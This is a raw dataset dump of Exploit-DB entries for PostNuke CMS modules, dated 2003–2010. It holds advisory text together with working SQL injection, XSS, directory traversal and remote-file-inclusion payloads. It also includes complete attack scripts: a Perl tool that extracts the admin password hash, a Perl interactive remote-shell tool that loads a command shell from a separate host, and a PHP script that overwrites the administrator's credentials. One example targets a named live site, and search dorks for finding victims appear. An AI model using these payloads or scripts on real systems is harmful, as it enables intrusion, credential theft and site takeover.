deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22651
Description: PostNuke 0.72x Phoenix Glossary Module - SQL Injection
Type: webapps
Platform: php
Date: 2003-05-26
Author: Lorenzo Manuel Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/7697/info

A vulnerability has been discovered in PostNuke Phoenix v0.723 and earlier. Specifically, the Glossary module fails to sufficiently sanitize user-supplied input, making it prone to SQL injection attacks.

Exploitation may allow for modification of SQL queries, resulting in information disclosure, or database corruption. 

http://example.com/modules.php?op=modload&name=Glossary&file=index&page=`[SQL QUERY]
Exploit-DB #22438
Description: PostNuke 0.72x Stats Module - Full Path Disclosure
Type: webapps
Platform: php
Date: 2003-03-28
Author: rkc

Exploit:
source: https://www.securityfocus.com/bid/7218/info

Multiple path disclosure vulnerabilities have been reported in various PHP scripts used by PHP-Nuke. The issue occurs when an invalid URI parameter is passed to certain scripts. The affected scripts do not provide sufficient error handling for this circumstance and as such, may display an error page containing sensitive information path information. 

http://www.target.com/modules.php?op=modload&name=Stats&file=
Exploit-DB #25665
Description: PostNuke 0.75/0.76 Blocks Module - Directory Traversal
Type: webapps
Platform: php
Date: 2005-05-16
Author: pokley

Exploit:
source: https://www.securityfocus.com/bid/13636/info

PostNuke Blocks module is affected by a directory traversal vulnerability.

The problem presents itself when an attacker passes a name for a target file, along with directory traversal sequences, to the affected application.

An attacker may leverage this issue to disclose arbitrary files on an affected computer. It was also reported that an attacker can supply NULL bytes with a target file name. This may aid in other attacks such as crashing the server. 

http://www.example.com/index.php?module=Blocks&type=lang&func=../../../../../../etc/passwd%00
Exploit-DB #26189
Description: PostNuke 0.75/0.76 DL - 'viewdownload.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-22
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/14636/info

PostNuke is prone to an SQL injection vulnerability. This issue is due to a lack of sufficient sanitization of user-supplied input.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/[DIR]/index.php?name=Downloads&req=viewdownload&cid=1&show=[SQL%20INJECTION]
Exploit-DB #1030
Description: PostNuke 0.750 - 'readpmsg.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-06-05
Author: K-C0d3r

Exploit:
#!/usr/bin/perl
# This tools is only for educational purpose
#
# K-C0d3r a x0n3-h4ck friend !!!
#
# This exploit should give admin nick and md5 password
#
#-=[ PostNuke SQL Injection                     version : x=> 0.750]=-
#-=[                                                               ]=-
#-=[ Discovered by sp3x                                            ]=-
#-=[ Coded by K-C0d3r                                              ]=-
#-=[ irc.xoned.net #x0n3-h4ck to find me   K-c0d3r[at]x0n3-h4ck.org]=-
#
# Greetz to mZ, 2b TUBE, off, rikky, milw0rm, str0ke
#
# !!! NOW IS PUBLIC (6-6-2005) !!!

use IO::Socket;

sub Usage {
print STDERR "Usage: KCpnuke-xpl.pl <www.victim.com> </path/to/modules.php>\n";
exit;
}

if (@ARGV < 2)
{
 Usage();
}

if (@ARGV > 2)
{
 Usage();
}

if (@ARGV == 2)
{
$host = @ARGV[0];
$path = @ARGV[1];

print "[K-C0d3r] PostNuke SQL Injection [x0n3-h4ck]\n";
print "[+] Connecting to $host\n";

$injection = "$host\/$path?";
$injection .= "op=modload&name=Messages&file=readpmsg&start=0";
$injection .= "%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null";
$injection .= "%20FROM%20pn_users%20WHERE%20pn_uid=2\/*&total_messages=1";

$socket = new IO::Socket::INET (PeerAddr => "$host",
                                PeerPort => 80,
                                Proto => 'tcp');
                                die unless $socket;

print "[+] Injecting command ...\n";
print $socket "GET http://$injection HTTP/1.1\nHost: $host\n\n";
while (<$socket>)
{
 print $_;
 exit;
}
}

# milw0rm.com [2005-06-05]
Exploit-DB #27991
Description: PostNuke 0.76 RC2 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-07
Author: SpC-x

Exploit:
source: https://www.securityfocus.com/bid/18319/info

PostNuke is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection vulnerabilities, because the application fails to properly sanitize user-supplied input.

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database. Other attacks are also possible.

PostNuke 0.76.0 RC2 is vulnerable; other versions may also be affected.

http://www.example.com/path/modules.php?op=modload&name=News&file=index&catid=[SQL]
http://www.example.com/path/modules.php?op=modload&name=News&file=article&sid=[SQL]

http://www.example.com/path/modules.php?op=modload&name=News&file=index&catid=[XSS]
http://www.example.com/path/modules.php?op=modload&name=News&file=article&sid=[XSS]
http://www.example.com/path/modules.php?op=modload&name=Events_Calendar&file=[XSS]
http://www.example.com/readmore.php?news_id=readmore.php?news_id=-1%20'UNION%20SELECT%201,user_name,3,user_password,5,6,7,8,9,10,11%20from%20fusion_users/*
Exploit-DB #26188
Description: PostNuke 0.76 RC4b - 'user.php?htmltext' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-22
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/14635/info
 
PostNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied input.
 
This can lead to theft of cookie-based authentication credentials, as well as other types of attacks. 

http://www.example.com/PostNuke-0.760-RC4b/html/user.php?op=edituser&htmltext=<h1>xss
Exploit-DB #26187
Description: PostNuke 0.76 RC4b Comments Module - 'moderate' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-22
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/14635/info

PostNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied input.

This can lead to theft of cookie-based authentication credentials, as well as other types of attacks. 

http://www.example.com/[DIR]/index.php?module=Comments&req=moderate&moderate=<center><h1>xss
Exploit-DB #12410
Description: PostNuke 0.764 Module modload - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-26
Author: BILGE_KAGAN

Exploit:
PostNuke 0.764 Module modload SQL Injection Vulnerability

###########################  
      
Author    : BILGE_KAGAN
   
Homepage  : http://www.1923turk.com   
      
Script    : postnuke http://www.postnuke.com 
  
Download  : http://www.postnuke.com/module-Content-view-pid-2.html  
      
###########################    
        
[ Vulnerable File ]
  
    
modules.php?op=modload&name=News&file=article&sid=[ SQL ]  
         
    
[ XpL ] 
 
      
1+and+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,concat(pn_uname,0x3a,pn_pass),16,17,18,19,20,21+from+nuke_users-- 
  
[ Demo] 
 
  
http://[site]/modules.php?op=modload&name=News&file=article&sid=1+and+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,concat(pn_uname,0x3a,pn_pass),16,17,18,19,20,21+from+nuke_users--
Exploit-DB #24307
Description: PostNuke 0.7x - Install Script Administrator Password Disclosure
Type: webapps
Platform: php
Date: 2004-07-24
Author: hellsink

Exploit:
source: https://www.securityfocus.com/bid/10793/info

It is reported that PostNuke may disclose administrator authentication credentials to remote attackers. This issue presents itself because the application fails to remove the install script 'install.php' after installation. This can allow an attacker to gain unauthorized access to the content management system. The attacker may then carry out further attacks against other users or the computer running the vulnerable application.

http://www.example.com/install.php
Exploit-DB #43795
Description: PostNuke < 0.726 Phoenix - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2004-01-03
Author: GulfTech Security

Exploit:
PostNuke Multiple Vulnerabilities

Vendor: PostNuke
Product: PostNuke
Version: <= 0.726 Phoenix
Website: http://www.postnuke.com

BID: 7047 

Description:
PostNuke is a popular Open Source CMS (Content Management System) used by millions of people all across the world. 

SQL Injection Vulnerability:
SQL Injection is possible by passing unexpected data to the "sortby" variable in the "members_list" module. This vulnerability may allow an attacker to manipulate queries as well as view the full physical path of the PostNuke installation. This is due to user input of the "sortby" variable not being properly sanitized. 

modules.php?op=modload&name=Members_List&file=index&letter=All&sortby=[Evil_Query] 

Cross Site Scripting:
XSS is possible via the download module by injecting HTML or Script into the "ttitle" variable when viewing the details of an item for download. Example: 

name=Downloads&file=index&req=viewdownloaddetails&lid=[VLID]&ttitle=">[CODE] 

[VLID] = Should be the valid id number of a file for download.
[CODE] = Any script or HTML etc. 

Solution:
An update has been released regarding the SQL Injection vulnerability. The XSS vuln however will not be fixed until future releases of PostNuke as it is really not possible to Hijack a users PostNuke session using a stolen session ID, thus limiting the chances of this being harmful to any users or administrators. Much respect to the PostNuke Dev team and especially Andreas Krapohl aka larsneo for being very prompt and professional about issuing a fix for this immediately. The fixed may be obtained from the official PostNuke website at http://www.postnuke.com 

http://lists.postnuke.com/pipermail/postnuke-security/2004q1/000001.html 

Credits:
James Bercegay of the GulfTech Security Research Team.
Exploit-DB #11784
Description: PostNuke FormExpress Module - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-03-17
Author: Ali Abbasi

Exploit:
# Date: 17/03/2010
# Software Link: http://sourceforge.net/projects/pn-formexpress/
# Version: 0.3.2
####################################################################
PostNuke ContentExpress Module Blind Sql Injection
Reported by Sharif University of Technology CSIRT
Vulnerability Analysis and Penetration Testing Group
cert.sharif.edu , nsc.sharif.edu
####################################################################

===[ POC ]===
Vulnerability occurred in form_id parameter of FormExpress Component in Postnuke
/index.php?module=FormExpress&func=display_form&form_id=1'
The Attacker could read content of the database via blind sql injection methods (like ascii(substring))
####################################################################

-----
Ali Abbasi
Exploit-DB #3454
Description: PostNuke Module phgstats 0.5 - 'phgdir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-11
Author: bd0rk

Exploit:
#PostNuke Module phgstats 0.5 (phgdir) Remote File Include Exploit
#
#Vendor: http://kent.dl.sourceforge.net/sourceforge/phgstats/phgstats_0.5.zip
#
#Vulnerable Code: include_once($phgdir . 'settings/config.inc.php');
#
#Coded by bd0rk || SOH-Crew
#
#Usage: expl.pl [target] [cmd shell] [shell variable]
#
#Greetings: str0ke, TheJT, MereX, drummonster(laptop)
#
# Fixtip: Declare $phgdir or use hacking attempt
#

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'main/phgstats.inc.php?phgdir='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *PostNuke Module phgstats 0.5 (phgdir) Remote File Include Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: expl.pl [target] [cmd shell location] [cmd shell variable]\r\n\n";
 print " <Site> - Full path to phgstats ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by bd0rk \r\n";
 print "                           www.soh-crew.it.tt \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2007-03-11]
Exploit-DB #5500
Description: PostNuke Module pnFlashGames 2.5 - SQL Injection
Type: webapps
Platform: php
Date: 2008-04-26
Author: Kacper

Exploit:
Vuln: Postnuke Mod pnFlashGames (Blind SQL/SQL) all version Vulnerability
Author: Vulnerability search Kacper (kacper1964_at_yahoo.pl)

dork: inurl:"index.php?module=pnFlashGames"

Author Homepage: http://devilteam.pl/


If magic_quotes_gpc = off
-====
Vuln to old >2 version:

index.php?module=pnFlashGames&func=display&id=-1+union+select+concat(pn_uname,char(58),pn_pass),1,2,3,4,5,6,7,8+from+nuke_users+where+uid=2/*

-====

Vuln to new version 1.5 == 2.5

[code]
<? 
//start options
$address == ""; // site address (http://google.pl/)
$prefix == ""; // tables prefix (nuke_users, pn_users)
//end options

$cryptpass = md5("devilteam");
echo "Vuln: Postnuke Mod pnFlashGames (Blind SQL/SQL) all version Vulnerability\n";
echo "Exploit by Kacper\n"; 
echo "Author Homepage: http://devilteam.pl/\n"; 
echo "<pre>\n"; 
echo "Login: Kacper Password:".$cryptpass;
@set_time_limit(0); 
@ini_set("display_errors","0"); 
$hostname = gethostbyname($address); 
function getid() 
{global $hostname; 
$responce = ""; 
$fsock = fsockopen($hostname,80,$errnum,$errstr,2); 
$headers = "POST ".address."index.php?module=pnFlashGames&func=display&id=-1+UPDATE+".$prefix."_users+SET+pn_uname='Kacper',+pn_pass='".$cryptpass."'+WHERE+uid=2/* HTTP/1.1\n"; 
$headers .= "Host: www.google.com\n"; 
$headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n"; 
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n"; 
$headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\n"; 
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"; 
fwrite ($fsock,$headers); 
while (!feof($fsock)) $responce .= fread($fsock,1024); 
fclose ($fsock); }
getid();
echo "\n";
?>
[/code]

Pozdrowienia dla calej ekipy DEVILTEAM.PL

# milw0rm.com [2008-04-26]
Exploit-DB #5495
Description: PostNuke Module PostSchedule 1.0 - 'eid' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-25
Author: Kacper

Exploit:
Vuln: Postnuke Mod PostSchedule SQL Vuln
Author: Vuln search Kacper (kacper1964_at_yahoo.pl)
google:"PostSchedule ver 1"

Vuln:

index.php?module=PostSchedule&view=event&eid=-1')+union+select+0,1,2,3,4,5,6,7,8,concat(pn_uname,char(58),pn_pass),10,11,12,13/**/from/**/nuke_users/**/where/**/pn_uid=2/*

$Severo:
Moga byc rozne tabele np. pn_users, nuke_users itp.

Homepage: http://devilteam.pl/

# milw0rm.com [2008-04-25]
Exploit-DB #3835
Description: PostNuke Module v4bJournal - SQL Injection
Type: webapps
Platform: php
Date: 2007-05-02
Author: Ali Abbasi

Exploit:
----------------------------------------
PostNuke Journal
----------------------------------------
                                   
                    DISCOVERED BY :Ali Abbasi
Olom Fonon Mazandaran University - Security Research Center, Babol, Iran
       
   Greetz For All Y! UnderGround Group Members ( www.2600.ir )

    Greetz For All Persian Bugtraq Members ( www.bugtraq.ir )

         Contact:     abbasi@ustmb.ac.ir


                                   {SQL BUG}



in 
    index.php?module=v4bJournal&func=journal_comment&id=(SQL)




------------------------------------------

         EXPLIOT BY :ABDUCTER

Greetz For ABDUCTER Real Friend Nanos (Nancy)

Contact:   ABDUCTER_MINDS@YAHOO.COM 
 


   index.php?module=v4bJournal&func=journal_comment&id=-1/**/union/**/select/**/0,pn_uname,pn_pass,3,4,pn_uname,6,7,8,9,10,11,12,13,14/**/from/**/nuke_users/**/where/**/pn_uid=2/*

EX:- 
http://www.arsfoodcourt.com/index.php?module=v4bJournal&func=journal_comment&id=-1/**/union/**/select/**/0,pn_uname,pn_pass,3,4,pn_uname,6,7,8,9,10,11,12,13,14/**/from/**/nuke_users/**/where/**/pn_uid=2/*


U must regrister first ( You Most Register First )
-------------------------------------------

# milw0rm.com [2007-05-02]
Exploit-DB #24587
Description: PostNuke Modules Factory Subjects Module 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2004-09-10
Author: Criolabs

Exploit:
source: https://www.securityfocus.com/bid/11148/info

Reportedly the PostNuke Modules Factory Subjects module is affected by a remote SQL injection vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI parameters.

An attacker might exploit this issue to manipulate SQL queries carried out against the database; it may be possible to disclose sensitive information such as the administrator password hash, as well as corrupt arbitrary data. SQL injection issues may also facilitate attacks against latent vulnerabilities in the underlying database.

http://www.example.com/index.php?module=subjects&func=listpages&subid=[SQL]
http://www.example.com/index.php?module=subjects&func=viewpage&pageid=[SQL]
http://www.example.com/index.php?module=subjects&func=listcat&catid=[SQL]
Exploit-DB #24037
Description: PostNuke Phoenix 0.726 - 'openwindow.php?hlpfile' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-21
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10191/info

Multiple vulnerabilities were reported to exist in PostNuke Phoenix. The following specific vulnerabilities were reported: 

- Multiple path disclosure vulnerabilities that occur when a user directly requests scripts in the "/includes/blocks/" and "pnadodb" directories. This issue also affects scripts that are associated in multiple modules.

- Multiple cross-site scripting vulnerabilities were reported in the Downloads and Web_Links modules as well as the openwindow.php script. These issues may permit remote attackers to cause hostile HTML and script code to be interpreted by a victim user's browser.

http://www.example.com/postnuke0726/javascript/openwindow.php?hlpfile=x<html><body>[xss code here]
http://www.example.com/postnuke0726/javascript/openwindow.php?hlpfile=x<html><body%20onload=alert(document.cookie);>
Exploit-DB #25367
Description: PostNuke Phoenix 0.760 RC3 - 'Module' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-08
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13076/info

A remote cross-site scripting vulnerability affects PostNuke. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/admin.php?module=">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&op=main&POSTNUKESID=355776cfb622466924a7096d4471a480
Exploit-DB #25366
Description: PostNuke Phoenix 0.760 RC3 - 'OP' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-08
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13075/info

A remote cross-site scripting vulnerability affects PostNuke. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/user.php?op=">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&module=NS-NewUser&POSTNUKESID=355776cfb622466924a7096d4471a480
Exploit-DB #25368
Description: PostNuke Phoenix 0.760 RC3 - 'SID' SQL Injection
Type: webapps
Platform: php
Date: 2005-04-08
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13077/info

A remote SQL Injection vulnerability affects PostNuke Phoenix. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in SQL queries.

An attacker may exploit this issue to manipulate SQL queries to the underlying database. This may facilitate theft sensitive information, potentially including authentication credentials, and data corruption.

http://localhost/modules.php?op=modload&name=News&file=article&sid='SQL_INJECTION&POSTNUKESID=355776cfb622466924a7096d4471a480
Exploit-DB #25172
Description: PostNuke Phoenix 0.7x - 'CATID' SQL Injection
Type: webapps
Platform: php
Date: 2005-02-28
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/12683/info

PostNuke Phoenix is reported prone to an SQL injection vulnerability. This issue arises due to insufficient sanitization of user-supplied input.

It is reported that issue presents itself when malicious SQL syntax is issued to the application through the 'catid' variable.

PostNuke 0.760-RC2 and prior versions are reported vulnerable. 

http://www.example.com/index.php?catid='cXIb8O3

http://www.example.com/modules.php?op=modload&name=News&file=article&sid=1&catid='cXIb8O3

http://www.example.com/admin.php?module=NS-AddStory&op=EditCategory&catid='cXIb8O3

http://www.example.com/modules.php?op=modload&name=NS-Polls&file=index&req=results&pollID=2&mode=thread&order=0&thold=0&catid=-99999%20UNION%20SELECT%20pn_uname,pn_uname,pn_
uname,pn_uname,pn_uname,null,null,null,pn_uname,pn_uname,pn_uname,pn_uname,pn_uname,null,pn_pass,null,null,null,null,null,null%20FROM%20[$PREFIX]users%20WHERE%20pn_uid=2/
*